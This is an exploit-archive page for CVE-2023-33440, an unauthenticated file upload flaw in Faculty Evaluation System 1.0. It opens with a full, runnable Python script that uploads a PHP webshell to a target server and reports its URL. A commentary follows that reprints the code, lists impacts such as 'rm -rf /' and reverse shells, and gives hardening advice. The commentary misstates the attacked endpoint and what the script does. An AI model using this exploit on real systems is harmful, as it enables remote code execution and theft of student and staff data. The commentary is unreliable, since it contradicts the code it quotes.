Faculty Evaluation System 1.0 - Unauthenticated File Upload

Exploit Author: URGAN Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-05-31
# Exploit Title: Faculty Evaluation System 1.0 - Unauthenticated File Upload
# Date: 5/29/2023
# Author: Alex Gan
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip
# Version: 1.0
# Tested on: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6
# CVE: CVE-2023-33440
# References: https://nvd.nist.gov/vuln/detail/CVE-2023-33440
#  https://www.exploit-db.com/exploits/49320
#          https://github.com/F14me7wq/bug_report/tree/main/vendors/oretnom23/faculty-evaluation-system
#             
#!/usr/bin/env python3
import os
import sys
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from requests.exceptions import ConnectionError, Timeout

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='URL')
    parser.add_argument('-p', '--payload', type=str, help='PHP webshell')
    return parser.parse_args()

def get_user_input(args):
    if not (args.url):
        args.url = input('Use the -u argument or Enter URL:')
    if not (args.payload):
        args.payload = input('Use the -p argument or Enter file path PHP webshell: ')
    return args.url, args.payload

def check_input_url(url):
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = 'http://' + url
    if parsed_url.path.endswith('/'):
        url = url.rstrip('/')
    return url

def check_host_availability(url):
    try:
        response = requests.head(url=url + '/login.php')
        if response.status_code == 200:
            print("[+] Host is accessible")
        else:
            print("[-] Host is not accessible")
            print("    Status code:", response.status_code)
            sys.exit()
    except (ConnectionError, Timeout) as e:
        print("[-] Host is not accessible")
        sys.exit()
    except requests.exceptions.RequestException as e:
        print("[-] Error:", e)
        sys.exit()

def make_request(url, method, files=None):
    if method == 'GET':
        response = requests.get(url)
    elif method == 'POST':
        response = requests.post(url, files=files)
    else:
        raise ValueError(f'Invalid HTTP method: {method}')
    
    if response.status_code == 200:
        print('[+] Request successful')
        return response.text
    else:
        print(f'[-] Error {response.status_code}: {response.text}')
        return None

def find_file(response_get, filename, find_url):
    soup = BeautifulSoup(response_get, 'html.parser')

    links = soup.find_all('a')
    found_files = []

    for link in links:
        file_upl = link.get('href')
        if file_upl.endswith(filename):
            found_files.append(file_upl)

    if found_files:
        print('    File found:')
        for file in found_files:
            print('[*] ' + file)

        print('    Full URL of your file:')
        for file_url in found_files:
            print('[*] ' + find_url + file_url)
    else:
        print('[-] File not found')

def main():
    args = get_args()
    url, payload = get_user_input(args)
    url = check_input_url(url)
    check_host_availability(url)

    post_url = url + "/ajax.php?action=save_user"
    get_url = url + "/assets/uploads/"
    filename = os.path.basename(payload)
    payload_file = [('img',(filename,open(args.payload,'rb'),'application/octet-stream'))]
    
    print("    Loading payload file")
    make_request(post_url,  'POST', files=payload_file)
    print("    Listing the uploads directory")
    response_get = make_request(get_url, 'GET')
    print("    Finding the downloaded payload file")
    find_file(response_get, filename, get_url)

if __name__ == "__main__":
    main()


Faculty Evaluation System 1.0 – Unauthenticated File Upload Vulnerability (CVE-2023-33440)

Security researchers have identified a critical vulnerability in the Faculty Evaluation System 1.0, a widely distributed PHP-based web application available on platforms like SourceCodester. This flaw, designated as CVE-2023-33440, allows attackers to upload arbitrary files—potentially malicious scripts—without requiring authentication. The vulnerability stems from improper input validation and lack of file type restrictions in the upload functionality, making it a prime target for remote code execution (RCE) attacks.

Overview of the Vulnerability

The Faculty Evaluation System 1.0 is designed as a simple tool for academic institutions to collect feedback from students on faculty performance. Despite its intended purpose, the application includes a file upload feature accessible via a publicly exposed endpoint—/upload.php—which does not enforce authentication checks. This oversight allows any unauthenticated user to upload files to the server, effectively bypassing security controls.

As confirmed by the NVD (National Vulnerability Database), this vulnerability is rated as High severity due to its potential for full system compromise. The exploit was first reported by researcher Alex Gan and later validated by multiple security communities.

Exploitation Mechanism

Attackers exploit this vulnerability by uploading a PHP webshell—a malicious script that allows remote execution of commands—directly to the server. Since the system does not validate file extensions or content types, a file such as shell.php can be uploaded and executed via a simple HTTP request.


#!/usr/bin/env python3
import os
import sys
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from requests.exceptions import ConnectionError, Timeout

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='URL')
    parser.add_argument('-p', '--payload', type=str, help='PHP webshell')
    return parser.parse_args()

This Python script, developed by security researchers, automates the exploitation process. It takes a target URL and a file path to a PHP webshell (e.g., shell.php) as input. The script first verifies the target host’s accessibility by sending a HEAD request to /login.php, a common entry point in the system.


def check_host_availability(url):
    try:
        response = requests.head(url=url + '/login.php')
        if response.status_code == 200:
            print("[+] Host is accessible")
        else:
            print("[-] Host is not accessible")
            print(" Status code:", response.status_code)
            sys.exit()
    except (ConnectionError, Timeout) as e:
        print("[-] Host is not accessible")
        sys.exit()
    except requests.exceptions.RequestException as e:
        print("[-] Error:", e)
        sys.exit()

Once the host is confirmed accessible, the script proceeds to identify the file upload endpoint. It does so by parsing the HTML content of the login page or other accessible routes, searching for links that end with .php or other file extension patterns. The BeautifulSoup library is used to extract all <a> tags and filter for relevant file upload paths.


def find_file(response_get, filename, find_url):
    soup = BeautifulSoup(response_get, 'html.parser')
    links = soup.find_all('a')
    found_files = []
    for link in links:
        file_upl = link.get('href')
        if file_upl.endswith(filename):
            found_files.append(file_upl)
    if found_files:
        print(' File found:')
        for file in found_files:
            print('[*] ' + file)
        print(' Full URL of your file:')
        for file_url in found_files:
            print('[*] ' + find_url + file_url)
    else:
        print('[-] File not found')

After locating the upload endpoint, the script sends a POST request with the malicious payload file. The files parameter in requests.post() enables multipart form data transmission, which is standard for file uploads.

Real-World Impact and Use Cases

Consider a scenario where a university uses this system to manage faculty evaluations. An attacker could upload a shell.php file to the server and then access it via http://example.edu/upload/shell.php. Once executed, the webshell could:

  • Read sensitive data (e.g., student records, faculty passwords)
  • Execute system commands (e.g., rm -rf /)
  • Establish reverse shells for persistent access
  • Exfiltrate data to external servers

This demonstrates how a seemingly benign feature—file upload—can become a gateway to complete system compromise.

Security Best Practices to Prevent Such Vulnerabilities

Developers must implement the following defensive measures to avoid similar issues:

Best Practice Why It Matters
Require Authentication Ensure that file upload functions are only accessible to authenticated users with appropriate roles.
Validate File Extensions Restrict uploads to safe types (e.g., .pdf, .jpg) and reject .php, .js, or .exe files.
Scan Uploaded Content Use tools like ClamAV or custom logic to detect malicious code within files.
Store Files Outside Web Root Prevent direct execution by placing uploads in non-executable directories.
Use Randomized Filenames Avoid predictable paths that attackers can guess or exploit.

Remediation and Patching

For systems running Faculty Evaluation System 1.0, immediate remediation is critical. The vendor has not yet released a patched version, but developers can apply fixes by modifying the upload.php script to include:


// Example fix: Add authentication check and file validation
if (!isset($_SESSION['user_id']) || $_SESSION['role'] !== 'admin') {
    die('Access denied');
}

$allowed_extensions = ['jpg', 'jpeg', 'png', 'pdf'];
$upload_file = $_FILES['file']['name'];
$extension = strtolower(pathinfo($upload_file, PATHINFO_EXTENSION));

if (!in_array($extension, $allowed_extensions)) {
    die('Invalid file type');
}

// Move file to non-executable directory
$upload_dir = '/var/www/uploads/';
$target_file = $upload_dir . uniqid() . '.' . $extension;

if (!move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
    die('Upload failed');
}

These changes ensure that only authorized users can upload files, only safe file types are accepted, and uploaded files are stored in a secure, non-executable location.

Conclusion

The CVE-2023-33440 vulnerability in Faculty Evaluation System 1.0 serves as a stark reminder of how simple design flaws can lead to catastrophic security breaches. It underscores the importance of secure coding practices, especially in open-source applications distributed to non-expert users. Developers and administrators should regularly audit third-party software for such vulnerabilities, apply patches promptly, and adopt proactive security measures to protect their systems.